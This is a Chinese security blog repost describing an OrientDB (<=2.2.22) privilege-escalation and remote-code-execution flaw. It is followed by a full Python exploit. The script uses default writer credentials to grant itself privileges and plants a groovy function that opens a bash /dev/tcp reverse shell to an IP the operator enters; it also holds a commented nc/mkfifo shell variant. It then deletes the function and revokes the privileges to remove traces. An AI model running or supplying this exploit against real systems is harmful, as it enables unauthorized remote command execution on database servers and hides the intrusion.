欢迎光临
我们一直在努力

OrientDB <=2.22 代码执行

关于OrientDB

OrientDB是一个分布式图形数据库引擎,具有文档数据库的灵活性,一体化的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。

Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the “reader”, but it can also create, update and delete records
ORole? structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements?, this permission requirement is not required and information is returned to unprivileged users.

Since we enable the functions

where

,

fetchplan

and

order by

, and OrientDB has a function where you could execute groovy functions and this

groovy

wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

poc


#! /usr/bin/env python #-*- coding: utf-8 -*- import sys import requests import json import string import random   target = sys.argv[1]   try:     port = sys.argv[2] if sys.argv[2] else 2480 except:     port = 2480   url = &quot;http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph&quot;%(target,port)     def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):     return ''.join(random.choice(chars) for _ in range(size))   def enum_databases(target,port=&quot;2480&quot;):       base_url = &quot;http://%s:%s/listDatabases&quot;%(target,port)     req = requests.get(base_url)       if req.status_code == 200:         #print &quot;[+] Database Enumeration successful&quot;         database = req.json()['databases']           return database       return False   def check_version(target,port=&quot;2480&quot;):     base_url = &quot;http://%s:%s/listDatabases&quot;%(target,port)     req = requests.get(base_url)       if req.status_code == 200:           headers = req.headers['server']         #print headers         if &quot;2.2&quot; in headers or &quot;3.&quot; in headers:             return True       return False   def run_queries(permission,db,content=&quot;&quot;):       databases = enum_databases(target)       url = &quot;http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph&quot;%(target,port,databases[0])       priv_enable = [&quot;create&quot;,&quot;read&quot;,&quot;update&quot;,&quot;execute&quot;,&quot;delete&quot;]     #query = &quot;GRANT create ON database.class.ouser TO writer&quot;       for priv in priv_enable:           if permission == &quot;GRANT&quot;:             query = &quot;GRANT %s ON %s TO writer&quot;%(priv,db)         else:             query = &quot;REVOKE %s ON %s FROM writer&quot;%(priv,db)         req = requests.post(url,data=query,auth=('writer','writer'))         if req.status_code == 200:             pass         else:             if priv == &quot;execute&quot;:                 return True             return False       print &quot;[+] %s&quot;%(content)     return True   def priv_escalation(target,port=&quot;2480&quot;):       print &quot;[+] Checking OrientDB Database version is greater than 2.2&quot;       if check_version(target,port):           priv1 = run_queries(&quot;GRANT&quot;,&quot;database.class.ouser&quot;,&quot;Privilege Escalation done checking enabling operations on database.function&quot;)         priv2 = run_queries(&quot;GRANT&quot;,&quot;database.function&quot;,&quot;Enabled functional operations on database.function&quot;)         priv3 = run_queries(&quot;GRANT&quot;,&quot;database.systemclusters&quot;,&quot;Enabling access to system clusters&quot;)           if priv1 and priv2 and priv3:             return True       return False   def exploit(target,port=&quot;2480&quot;):       #query = '&quot;@class&quot;:&quot;ofunction&quot;,&quot;@version&quot;:0,&quot;@rid&quot;:&quot;#-1:-1&quot;,&quot;idempotent&quot;:null,&quot;name&quot;:&quot;most&quot;,&quot;language&quot;:&quot;groovy&quot;,&quot;code&quot;:&quot;def command = /'bash -i &gt;&amp; /dev/tcp/0.0.0.0/8081 0&gt;&amp;1/';File file = new File(/&quot;hello.sh/&quot;);file.delete();file &lt;&lt; (/&quot;#!/bin/bash//n/&quot;);file &lt;&lt; (command);def proc = /&quot;bash hello.sh/&quot;.execute(); &quot;,&quot;parameters&quot;:null'       #query = {&quot;@class&quot;:&quot;ofunction&quot;,&quot;@version&quot;:0,&quot;@rid&quot;:&quot;#-1:-1&quot;,&quot;idempotent&quot;:None,&quot;name&quot;:&quot;ost&quot;,&quot;language&quot;:&quot;groovy&quot;,&quot;code&quot;:&quot;def command = 'whoami';File file = new File(/&quot;hello.sh/&quot;);file.delete();file &lt;&lt; (/&quot;#!/bin/bash//n/&quot;);file &lt;&lt; (command);def proc = /&quot;bash hello.sh/&quot;.execute(); &quot;,&quot;parameters&quot;:None}       func_name = random_function_name()       print func_name       databases = enum_databases(target)       reverse_ip = raw_input('Enter the ip to connect back: ')       query = '{&quot;@class&quot;:&quot;ofunction&quot;,&quot;@version&quot;:0,&quot;@rid&quot;:&quot;#-1:-1&quot;,&quot;idempotent&quot;:null,&quot;name&quot;:&quot;'+func_name+'&quot;,&quot;language&quot;:&quot;groovy&quot;,&quot;code&quot;:&quot;def command = /'bash -i &gt;&amp; /dev/tcp/'+reverse_ip+'/8081 0&gt;&amp;1/';File file = new File(//&quot;hello.sh//&quot;);file.delete();file &lt;&lt; (//&quot;#!/bin/bash////n//&quot;);file &lt;&lt; (command);def proc = //&quot;bash hello.sh//&quot;.execute();&quot;,&quot;parameters&quot;:null}'     #query = '{&quot;@class&quot;:&quot;ofunction&quot;,&quot;@version&quot;:0,&quot;@rid&quot;:&quot;#-1:-1&quot;,&quot;idempotent&quot;:null,&quot;name&quot;:&quot;'+func_name+'&quot;,&quot;language&quot;:&quot;groovy&quot;,&quot;code&quot;:&quot;def command = /'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 0.0.0.0 8081 &gt;/tmp/f/' /u000a File file = new File(/&quot;hello.sh/&quot;)/u000a     file.delete()       /u000a     file &lt;&lt; (/&quot;#!/bin/bash/&quot;)/u000a     file &lt;&lt; (command)/n    def proc = /&quot;bash hello.sh/&quot;.execute() &quot;,&quot;parameters&quot;:null}'     #query = {&quot;@class&quot;:&quot;ofunction&quot;,&quot;@version&quot;:0,&quot;@rid&quot;:&quot;#-1:-1&quot;,&quot;idempotent&quot;:None,&quot;name&quot;:&quot;lllasd&quot;,&quot;language&quot;:&quot;groovy&quot;,&quot;code&quot;:&quot;def command = /'bash -i &gt;&amp; /dev/tcp/0.0.0.0/8081 0&gt;&amp;1/';File file = new File(/&quot;hello.sh/&quot;);file.delete();file &lt;&lt; (/&quot;#!/bin/bash//n/&quot;);file &lt;&lt; (command);def proc = /&quot;bash hello.sh/&quot;.execute();&quot;,&quot;parameters&quot;:None}     req = requests.post(&quot;http://%s:%s/document/%s/-1:-1&quot;%(target,port,databases[0]),data=query,auth=('writer','writer'))       if req.status_code == 201:           #print req.status_code         #print req.json()           func_id = req.json()['@rid'].strip(&quot;#&quot;)         #print func_id           print &quot;[+] Exploitation successful, get ready for your shell.Executing %s&quot;%(func_name)           req = requests.post(&quot;http://%s:%s/function/%s/%s&quot;%(target,port,databases[0],func_name),auth=('writer','writer'))         #print req.status_code         #print req.text           if req.status_code == 200:             print &quot;[+] Open netcat at port 8081..&quot;         else:             print &quot;[+] Exploitation failed at last step, try running the script again.&quot;             print req.status_code             print req.text           #print &quot;[+] Deleting traces..&quot;           req = requests.delete(&quot;http://%s:%s/document/%s/%s&quot;%(target,port,databases[0],func_id),auth=('writer','writer'))         priv1 = run_queries(&quot;REVOKE&quot;,&quot;database.class.ouser&quot;,&quot;Cleaning Up..database.class.ouser&quot;)         priv2 = run_queries(&quot;REVOKE&quot;,&quot;database.function&quot;,&quot;Cleaning Up..database.function&quot;)         priv3 = run_queries(&quot;REVOKE&quot;,&quot;database.systemclusters&quot;,&quot;Cleaning Up..database.systemclusters&quot;)           #print req.status_code         #print req.text   def main():       target = sys.argv[1]     #port = sys.argv[1] if sys.argv[1] else 2480     try:         port = sys.argv[2] if sys.argv[2] else 2480         #print port     except:         port = 2480     if priv_escalation(target,port):         exploit(target,port)     else:         print &quot;[+] Target not vulnerable&quot;   main()

314698441 OrientDB <=2.22 代码执行

314698441 OrientDB <=2.22 代码执行

未经允许不得转载:杂术馆 » OrientDB <=2.22 代码执行
分享到: 更多 (0)